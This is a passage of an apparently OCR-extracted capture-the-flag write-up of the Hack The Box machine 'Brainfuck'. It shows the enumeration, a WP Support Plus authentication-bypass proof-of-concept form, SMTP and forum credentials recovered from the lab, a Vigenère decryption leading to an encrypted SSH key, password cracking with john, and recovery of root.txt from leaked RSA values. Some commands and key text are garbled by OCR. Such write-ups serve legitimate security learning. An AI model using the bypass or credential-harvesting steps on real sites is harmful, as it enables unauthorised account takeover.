HTB - Brainfuck 2021-04-24

Brainfuck - 10.10.10.17

Enumeration

Nmap

-p— -T4 -0oA nmap/quick 10.10.10.17

scan report for www.brainfuck.htb (10.10.10.17)
is up (0.24s latency)
shown: 65530 filtered ports

STATE SERVICE
open ssh
open smtp
open pop3
open imap
open https

Website

https://10.10.10.17

Welcome to nginx! X Certificate for brainfuck.htb x | +

& c @ 9 a 10.10.10.17

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For anline documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.
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SSL Cert

Issuer Name
Country GR
State/Province Attica
Locality Athens

Organization Brainfuck Ltd.

Organizational Unit IT

Common Name brainfuck.htb
Email Address

Validity
Not Before : AM (Eastern Daylight Time)
Not After :19:29 AM (Eastern Daylight Time)

Subject Alt Names
DNS Name www.brainfuck.htb
DNS Name s rs3cr3t.brainfuck.htb

user : orestis@brainfuck.htb
DNS Name: www.brainfuck.htb, sup3rs3cr3t.brainfuck.htb

The dns names are added to [etc/hosts

GNU nano 5.4
127.0.0.1 localhost
127.0.1.1 kali

10.10.10.17 www.brainfuck.htb sup3rs3cr3t.brainfuck.htb brainfuck.htb

el localhost ip6-localhost ip6-loopback
ff@2::1 ip6-allnodes
ff@2::2 ip6-allrouters

sup3rs3cr3t.brainfuck.htb

sup3rs3cr3t.brainfuck.htb is a forum webpage.
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Brainfuck Ltd. - Justanothe X | Super Secret Forum X +

< ¢ @ 9 a4 brainfuck.htb

www.brainfuck.htb -> brainfuck.htb

www.brainfuck.htb redirects to brainfuck.htb which is a wordpress website.

Brainfuck Ltd. — Justanothe X +

S Cc @ 9] brainfuck htb

Home  Open Ticket ~ Sample Page

Dev Update

& admin B Uncategorized

search ...
oo Dpaate
Search
SMTP | n s ready ck and s c e ainfuck.ht

SMTP Integration is ready. Please check and send

Recent Posts

Dev Update >

wpscan is ran against the https://brainfuck.htb

-—api-token

--disable-tls-checks -o wpscan.log
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Title: WP Support Plus Responsive Ticket System < 8.0.0 — Authenticated SQL Injection

Fixed in: 8.0.0

References:

- https://wpscan.com/vulnerability/f267d78f-flel-4210-92e4-39cce2872757

— https://www.exploit-db.com/exploits/40939/

— https://lenonleite.com.br/en/2016/12/13/wp—support-plus-responsive-ticket-system—wordpress—plugin-sql-injection/
— https://plugins.trac.wordpress.org/changeset/1556644/wp-support-plus-responsive-ticket-system

Title: WP Support Plus Responsive Ticket System < 8.0.8 — Remote Code Execution (RCE)

Fixed in: 8.0.8

References:

— https://wpscan.com/vulnerability/1527b75a-362d-47eb-85f5-47763c75bed1

- https://plugins.trac.wordpress.org/changeset/1763596/wp-support-plus-responsive-ticket-system

Title: WP Support Plus Responsive Ticket System < 9.0.3 - Multiple Authenticated SQL Injection
Fixed in: 9.0.3

References:

— https://wpscan.com/vulnerability/cbbdb469-7321-44e4-a83b-cac82b116720

- https://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-2018-1000131

- https://github.com/@0@theway/exp/blob/master/wordpress/wpsupportplus.md

- https://plugins.trac.wordpress.org/changeset/1814103/wp-support-plus-responsive-ticket-system

WordPress Plugin Responsive Ticket System 2.0 - tiple Vulnerabilities | php/webapps/34589. txt
WordPress Plugin Responsive Ticket System 7.1.3 rivilege Escalation | php/webapps/41006.txt
WordPress Plugin Responsive Ticket System 7.1.3 QL Injection | php/webapps/40939. txt

Shellcodes: No Results

--url --disable-tls-checks --enumerate u -o
wpscan_enumerate_user. log

User(s) Identified:

[+] admin

| Found By: Author Posts — Display Name (Passive Detection)

| Confirmed By:

| Rss Generator (Passive Detection)

| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
I

Login Error Messages (Aggressive Detection)

[+] administrator
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

Users found:

« admin
« administrator
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Exploitation

brainfuck.htb
Searchploit

During enumeration, it was found that the WP Support Plus plugin is vulnerable to a Privilege Esca-

lation attack.

WP Support Plus

searchsploit WP Support Plus

| php/webapps/34589.txt
| php/webapps/41006. txt
| php/webapps/40939. txt

Shellcodes: No Results

searchsploit -x php/webapps/41006.txt

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

# Date: 10-01-2017

# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: web

1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">

</form>

Then you can go to admin panel.
/usr/share/exploitdb/exploits/php/webapps/41006.txt (END)

Privilege Escalation to admin on wordpress

Using the users enumerated from wpscan, this attack can be performed. The payload was modified
as show below.
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Username: <input
<input
<input
<input
</form>

The file is hosted using the command below.

-m http.server 80

3 python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

127.0.0.1 - - [24/Apr/2021 06:29:21] "GET / HTTP/1.1" 200 -

127.0.0.1 - - [24/Apr/2021 ©6:29:25] "GET /41006.html HTTP/1.1" 200 -

itis then viewed using a browser.

localhost/41006.html X  Uncategorized — Brainfuck L X | +

< c @ © @ localhost

Username: admin Login

Vulnerability Explanation:

When inspecting the traffic in Burpsuite, it can be concluded that the WP Support Plus plugin sets an
authenticated cookie to the user without the need of a password.
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Request

Raw | Params | Headers | Hex |

Response

Raw | Headers | Hex

1 POST /wp-admin/admin-ajax.php HTTP/1.1
Host: brainfuck.htb
} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
3 Content-Length: 70
) origin: http://localhost
10 Connection: close|
11 Referer: http://localhost/41006.html
12 Upgrade-Insecure-Requests:

i username=admingemail=orestis¥4obrainfuck.htbsaction=loginGuestFacebook

Brainfuck — Just anotf

& C ® 0 A

brainfuck.htbfwp-admin|

1 HTTP/1.1 200 OK
2 server: nginx/1.10.0 (Ubuntu)
Date: Sat, 24 Apr 2021 10:47:09 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Robots-Tag: noindex
7 X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
9 Cache-Control: no-cache, must-revalidate, max-age=0
10 X-Frame-Options: SAMEORIGIN
11 Set-Cookie: wordpress_sec_4a881878556bfa5bb532816568f34de7=admin%7C1619434029%7CXdGAXL2g0d3 1 fmELNPNCCOiPUYADS
12 Set-Cookie: wordpress_sec_4a881878556bfa5bb532816568f34de7=admin%7C1619434029%7CXdGAXL2g0d3 1 fMELNPNCCOiPUYADS
13 Set-Cookie: wordpress_logged_in_4a881878556bfa5bb532816568f34de7=admin%7C1619434029%7CXdGAXL2g0d3 1 fmEtnpnCCol
4 Content-Length: 0

+

brainfuck.htb

Once the script is ran, when refreshing the wordpress site, the cookies take effect and, the attacker is

automatically authenticated.

Brainfuck Ltd. — Just ano X

< - X @

4_

htb

Supp

SMTP Credentials leaked

Going to the Easy WP SMTP plugin, information about the user can be found.
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Easy WP SMTP ¢ Brainfuck L X  brainfuck.t adminfad: x| +
& c @ (O brainfuck.htb

rainfuckLtd. <1 B 4+ Ne Support Plus

Please visit the Easy WP SMTP plugin's documentation page for usage instructions.

SMTP Configuration Settings

You can request your hosting provider for the SMTP details of your site. Use the SMTP details provided by your hosting provider to configure the follov

Commer From Email Address orestis@brainfuck.htb
Support Plus This email address will be used in the From' field.
Appearance From Name Orestis Makrogiannis

Plugins @ This text will be used in the FROM' field

- SMTP Host localhost
o
Your mail server
Seftings
Type of Encription ) None( ) SSL( TLS
For most servers SSL is the recommended option

SMTP Port 25

The port to your mail server

SMTP Authentication No(®) Yes
This options should always be checked 'Yes'

| SMTP username orestis

The username to login to your mail server

| SMTP Password sssssssssssess the password is masked

The password to login ta your mail server

Save Changes

In developers console, the password can be seen in cleartext.

SMTP Password

The password to login to your mail server

® O Inspector [J Console [ Debugger P Metwork {3} Style Editor () Performance 4k Memory E Storage 'ﬁ' Accessibility 'wE

v atds

<input type="password" name="swpsmtp smtp password" value="kHGuERB29DNiNE"=>
<br>
=p class="description"=The password to looin to vour mail server</p=
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SMTP Credential:

orestisctkHGUERB29DNINE

Evolution Mail Client

Evolution mail client is configured as shown below to see user orestis mails.

On This Computer
i |n
[} Identity
Welcome
Restore from Backup fl
Identity Required Information

Receiving Email FullName: orestis
Sending Email Email Address: | orestis( brainfuck.htb|

Account Summary Optional Information

Done

|dentity

Receiving Email

Receiving Options Server: brainfuck.htb
Sending Email Username: orestis
Account Surmnmary Security

Done Encryption method: TLS on a dedicated port

Receiving Email Configuration

Receiving Options Server: | brainfuck.htb]

Sending Email Server requires authentication

Account Summary Security
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O Mail authentication request

e enter the password for mail account “orestis@brainfuck.htb”.

Pleas
st: brainfuck.htb)

(ho
User Name: orestis

Password: 11111111111104

Add this password to your keyring

After configuring evolution, user orestis mail can be viewed.

® Inbox Show: All Messages

# Outbox D From ecl Date

WordPress <wordpre rainfuck.htb> ew WordPress Site 04/17/2017 13:15
root <root@brainfuck.htb> Forum Access Details 04/29/2017 06:12

® Sent
E Templates
@ Trash
~ orestis@brainfuck.htb
= Inbox
@ Junk
@ Trash

New credentials arerevealed, itis for the forum found on the subdomain sup3rs3cr3t.brainfuck.htb

2:06 AM)

Hi there, your credentials for our " 3 forum are below :)

username: orestis
password: kIEnnfEKJI#9UmdO

Regards

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
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sup3rs3cr3t.brainfuck.htb

Using the above credentials, the user orestic can now be accessed on the forum.
There are 3 topics listed in the forum:
+ Key

« SSH Access
+ Development

3cr3t brainfuck htb

It can be observed that user orestis always signs with the phrase Orestis - Hacking for fun and profit on
topic SSH Access.
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SSH Access - Super Secret F X Key - Super Secret Forum

© & https://sup3rs3cr3t.brainfuck.htb/d/2-s

ded to make use of key

@ orestis
dmin, 1 am loc

r fun and profit

t, still no manners .. You t here for all mem

® orestis
| am opening up an encrypted thread. Talk

Ores or fun and profit

However on topic Key, the page is encrypted. But the same pattern can be seen as orestis always signs
his posts with the same phrase Orestis - Hacking for fun and profit.
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Key - Super Secret Forum X+

3t.brainfuck.htb/d/3-ke

@ orestis

vse - Fbtkqal zgb rso rnl cwihsf

® orestis

Si rbazmvr

Decryption of the posts

After researching the encryption method, it was concluded that it is a one time pad encryption tech-
nique also known as Vernam Cipher (One Time Pad Vigenere).

Using the website https://www.boxentriq.com/code-breaking/one-time-pad, the key was found to
be BRAINFUCKMYBRAINFUCKMYBRAINFU
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buper Secret Forum X | @ one-time pad decoder X . One-Time Pad (OTP) De: X Vernam Chiffre Cipher

& https v.boxentriq.com/c

One-time pad

Pieagnm - Jkoijeg nbw zwx mle grwsnn

oo Lo

Result

BRAINFUCKMYBRAINFUCKMYBRAINFU

Encryption key

Orestis - Hacking for fun and profit

Alphabet

ABCDEFGHIJKLMNOPQRSTUVWXYZ

The same result can be crossed check on the website https://www.dcode.fr/vernam-cipher-vigene
re
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VERNAM CIPHER (ONE TIME PAD

VIGENERE)

Cryptography > Poly-Alphabetic Cipher

> Vernam Cipher (One Time Pad Vigenere)
SEARCH A TOOL ON DCODE BY KEYWORDS: Sponsored ads

Search for a tool

e.g. type 'caesar' B
BROWSE THE FULL DCODE TOOLS' LIST

Results m B2 :E x
BRAINFUCKMYBRAINFUCKMYBRAINFU

VERNAM (VIGENERE) CIPHER DECODER
Send feedback VERNAM CIPHERTEXT
Pieagnm - Jkoijeg nbw zwx mle grwsnn

CIPHER KEY / ONE TIME PAD
Orestis - Hacking for fun and profit

ALPHABET ABCDEFGHIJKLMNOPQRSTUVWXYZ

DECRYPT

See also: Vigenere Cipher

When decrypting what appeared to be a link mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq
0zc8/frmfycu/sp_ptr with the pad FUCKMYBRAINFUCKMYBRAINFUCKMYBR, it resulted to reveal a
link to the user orestis ssh public key https://10.10.10.17/8ba52aal10e915218697d1c658cdeeObb8/ore
stis/id_rsa

%G rumkin.com

Rumkin.com -~ Web-Based Tools -- Ciphers and Codes

It is said that the one-time pad is the best cipher anywhere. It is uncrackable as long as you keep the messages short, use shorthand and abbreviations, remove unnecessi
data.

This implementation will take the letters (and letters only) from the pad and encrypt the letters from your message. It leaves spaces, newlines (enters / returns), punctuation
is at least as long as the number of characters in your message, otherwise your message will not be encoded.

Decrypt v

Your message:
|mnvze:/!10.19‘16.17]82h5ralﬂm915218697q1h658wf0qﬁzc8/frmfycu/sp_ptr

The pad:
EUCKMYBRAINFUCKMYBRAINEUCKMYBR

https://10.10.10.17/8ba5aa10e915218697d1c658cdecdbb8/orestis/id_rsa I
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-sk https://10.10.10.17/8ba52aal0e915218697d1c658cdeeO@bb8/orestis/id_rsa -o orestis.enc

orestis.enc

The ssh key is an encrypted key and it needs to be decrypted in order to ssh as the orestis user.

curl —sk https://10.10.10.17/8ba5aal0e915218697d1c658cdee@bb8/orestis/id_rsa —o orestis.enc

cat orestis.enc
BEGIN RSA PRIVATE KEY-——--
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+0LdrgtyKqnrdTHwmpWGTNWIpfhHsNz8C fGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5F07PoWBC j AAWWY Lx+cKBw1DXqa3A+BL1sSIOKws9jeabGi
Wima/V7WolJ+V4INI7ufThQyOEUO76P LYNRMOUEF8MANQMIK37Md9EZUS53wlpUgZ
7dKcg6AM/09Vh01piX7SINT9dRKaKev0jopRbyEFMLiP@1H7Z lahWPdRRmTCXSmQ
zxH9I21GIQTtRRA3rFktLpNedNPuZQCSswlec7eVVt2mc2ZvIPMILCTIuRSzzVum
0z3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCVemD97WS+1ydWEPeCph@6Mem
dLR2L1uvBGJev8i9hP3thplowvMBHgidy fMC2vOBvXbcAA3bDKVR4jsz20bf5AF+
Fyvt6pmMuix8hbipP112Us54yTv/hyC+M5g1lhWUuj5ydxovgroLLfI2pGe+Fv51XT
mcznclZgDY5 L rimWzTvsW7h7 rm9LKgEiHn9gGgqi01RKn5FUL+D1faAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NVOPE60dXICIAMEa1mSOK/LS/mLO4e@N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVS1IcOrvNmrIy59
krkVtulxAejVQzxImWOUDYC947TXu9BAsh@MLoKtpIRL3Hcbu+vi9L5nn5Lkh0/V
gdMyOyATor7Amu2xb930055XKkB11iw2 rlWg6sBpXM1WUgoMQW50Keo600]j zeGTA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL 5Hc+0v5v3bQ9@8p+Urfo4dpvj9SjBzn
schqozogcC1UfIcCmBc1+967GFBa3rD5YDp3x2xyIVISQdwGvHBZIcpadKKkMVZt
UX8hTqv1ROR4ACk8G1zMEWc4QqHEDUGG13tr7nYwy7wx11I6WRhpyWdL+su8T96Kn
F7gwZLtVP87d8R3UAERZNXxFO9MUOZU2+PENDXdSCSMV3gX9FvPYY30PKbsxiAy+M
wZezLNip80XmcVIwGUYsdn+iB/UPMddX12]38YUbtw/R34TQiRFURWLTF rmOaLab
Igl5L+8JEbeZ9056DaXFqP3gXhMx8xBKUQax2exoTreaxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+I IMDExdLHWD7mnNuIdShiARGbXYYSM3E725fzLEIMFu45VkHDiF
mxy9EVQ+v49kgdyFWwUNPPbsOppKc7gJIWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQNV 1y89XX97IGIRSGIhbACqUMZnfwFpxZ8aPs\VwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5E00T7HsgqQIcAOMIWS5q2FIpgH1+PU8eIfFzkhUY@qoGS
EBFkZuCPyujY0TyvQZewyd+ax73H0I7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZ1h9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTWGQ

Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKgnrd THwmpWGTNWOpfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAWWY 1x+cKOw1lDXga3A+BL1sSIOKws9jeabGi
Wima/V7WoJJ+V4INI7ufThQyOEUO76PTYNRMOUEF8MANQMIK37Md9EZzu53wIpUqZ
7dKcgb6AM/09VhO1lpiX7SINT9dRKaKevOjopRbyEFM1iPO1H7Z1lahWPdRRmfCXSmQ
zxH9I21GIQTtRRA3rFktLpNedNPuZQCSswlUec7eVVt2mc2Zv9PMIO1CTIJuRSzzVum
0z3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCVOmMDI7WS+1ydWEPeCphO®6Mem
dLR2L1uvBGJev8i9hP3thplowvM8HgidyfMC2vOBvXbcAA3bDKVR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgrOLLfI2pGe+Fv51XT
mcznclZgDY51lrlmWzTvsW7h7rm9LKgEiHN9gGgqiOlRKN5FUL+D1faAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NVOP60dXICIJAMEalmSOk/LS/mLO4eON3wEX+NtgVbq
ul9guSlobasIX5DKAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVS1IcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAshOMLoKtpIRL3Hcbu+vi9L5nn5LKkhO/V
gdMyOyATor7Amu2xb930055XKkB11iw2r1lWg6sBpXM1WUgoMQW50Keo600jzeGfA
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VwmM72XbaugmhKwW25q/46/yL4VMKuDyHL5Hc+0v5v3bQ908p+Urf04dpvj9SjBzn
schgqozogcClUfJcCm6c1+967GFBa3rD5YDp3x2xyIVISQdwGvHOZIcpOdKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUGGT3tr7nYwy 7wx1II6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3UAERZNXxFO9MUOZU2+PENDXdSCSMv3gX9FvPYY30PKbsxiAy+M
wZezLN1ip80XmcVIwGUYsdn+iB/UPMddX12330YUbtw/R34TQiRFUhWLTFrmOalLab
Igl5L+0JEbeZ9056DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBgThEg/HTCy
IQPmHW36mxtc+ITMDEXdLHWD7mNNuIdShiARG6bXYYSM3E725fzLEIMFu45VkHDF
mxy9EVQ+v49kg4yFwWUNPPbsOppKc7gIWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQNV1y89XX97IGIRSGINbACqUMZNnfwFpxZ8aPsVwsoXRyuub43a7GtF
9D7yCbhGuF2zYcmKjR5E00T7HsgqQIcAOMIW55q2F JpgH1+PU8eI fFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZ1h9PsfIgkNZK8RgnNPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ

The password is cracked using john.

python ./run/ssh2john. ./hashes/brainfuck-orestis.

. /hashes/brainfuck-orestis.

./run/john. --wordlist=
./hashes/brainfuck-orestis.

PS D:\Documents\ inty\john> .\run\john.exe .\hashes\brainfuck-orestis.txt
Varning: detecte: type "SSH", but the string is also recognized as “"ssh-opencl"
type instead

/OPENSSH (SSH private k 2/641)
S 2=Bcrypt/AES]) is @ for all loaded hashes
shes

DONE g Ac/s 755820C/s @ © @..[<[]7iVamos!'[]
n completed
D:\Documents\Bug Bounty\john>

3poulakial (.\hashes\brainfuck-orestis.enc.txt)
SSH credential:

orestis:3poulakia!

SSH as orestis

Using the password 3poulakia!, brainfuck.htb can be access as the user orestis.
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600 orestis.enc
-1 orestis.enc orestis@brainfuck.htb

A chmod 608 orestis.enc

i ssh -1 orestis.enc orestis@brainfuck.htb
Enter passphrase for key 'orestis.enc':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

@ packages can be updated.
@ updates are security updates.

You have mail.
Last login: Wed May 3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$ [j

User.txt

User.txt can be found in the home directory of orestis.

orestis@brainfuck:~$% cat user.txt

2c11cfbc5b959173ac15a3310bd@97c9

user.txt: 2c11cfbc5b959f73ac15a3310bd097¢c9

Root.txt

There are some uncommon files which are only readable by orestis

» encrypt.sage
+ debug.txt
» output.txt
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orestis@brainfuck:~$ ls -la
total 60
drwxr-xr-x 7 orestis orestis
drwxr-xr-x 3 root root
root root .bash_history
-rw-r——r—— 1 orestis orestis g .bash_logout
-rw-r——r—— 1 orestis orestis F .bashrc
orestis orestis

root root

orestis orestis g debug. txt
orestis orestis g encrypt.sage
orestis orestis

orestis orestis g output.txt
orestis orestis g .profile
orestis orestis

orestis orestis

orestis orestis g user.txt

The file encrypt.sage is a python script which looks to be doing an RSA cipher on /root/root.txt

orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")

debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2~floor(nbits/2)-1, lbound=2~floor(nbits/2-1), proof=False)
q = random_prime(2~floor(nbits/2)-1, lbound=2~floor(nbits/2-1), proof=False)
n = p¥q

phi = (p-1)*(g-1)

e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)

c = pow(m, e, n)

enc_pass.write('Encrypted Password: '+str(c)+'\n")
debug.write(str(p)+'\n')

debug.write(str(q)+'\n")

debug.write(str(e)+'\n')

orestis@brainfuck:~$ ||

encrypt.sage:
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nbits =

password ).read().strip()
enc_pass 5 )

debug = ( 5 )

m = Integer( (password.encode( ),16))

random_prime (2Afloor (nbits/2)-1, lbound=2Afloor (nbits/2-1), proof=
random_prime (22 floor (nbits/2)-1, lbound=22floor(nbits/2-1), proof=
p*q
= (p-1)*(q-1)
ZZ.random_element (phi)

ile gcd(e, phi) !=
e = ZZ.random_element (phii)

c = (m, e, n)
enc_pass.write(
debug.wriite( (p)+
debug.write( (gq)+
debug.wriite( (e)+

output.txt contains ¢, and debug.txt contains p,q and e respectively.

orestis@brainfuck:~$ cat output.txt

Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463
029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

orestis@brainfuck:~$ cat debug.txt

7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
3080200791795250842279286902168919392748501633271362252702521910515425447234462728494777972628099543194745429278242631325552313761053232381371448363943425753683006276828637792001084185034683

7238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997

The content of /root/root.txt can be easily decrypted given all the above information.

Using the website https://www.dcode.fr/rsa-cipher, the original content of [root/root.txt can be
obtained.
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BB RSA Cipher Calculator

c dcode.fr

e RSA CIPHER

Cryptography > Modern Cryptography > RSA Cipher

Search for a tool

SEARCH A TOOL ON DCODE BY KEYWORDS:

e.g. type 'caesar' S

BROWSE THE FULL DCODE TOOLS' LIST
Resnlts B 282 &8 + ¥ | x

6efclabdbb8904751ce6566a305bb8ef

RSA DECODER

Q\: OX: All RSA computations are made with integer numbers, please convert any
Riche Yerre st hex data or binary file into integer with suggested dCode's tools (below) if
needed.

VALUE OF THE CIPHER MESSAGE (INTEGER) C=
605581144977552865771395578778515514288930832915182
. PUBLIC KEY E (USUALLY E=65537) E=
(o 578581804467608824177508976254759319210955977053997
© KNOWING THE 2 PRIME FACTORS P AND Q
FACTOR 1 (PRIME NUMBER) P=
193651830303308312565580445669284847225535166520307
FACTOR 2 (PRIME NUMBER) Q=

WIN GIFTS WITH 897245898433245929775591091774274652021374143174079
Riche Terre Mall
during Ramadan! KNOWING THE PRIVATE KEY D AND THE PUBLIC KEY N

Click to know more! PRIVATE KEY VALUE (INTEGER) D=

RSA Cipher - dCode PUBLIC KEY VALUE (INTEGER) N=

Tag(s) : Modern Cryptography, Arithmetics
OUTPUT FORMAT () INTEGER NUMBER

Share HEXADECIMAL VALUE
© TEXT (CHARACTER STRING)

+| f (W] =)

dCode and more

root.txt: 6efc1a5dbb8904751ce6566a305bb8ef
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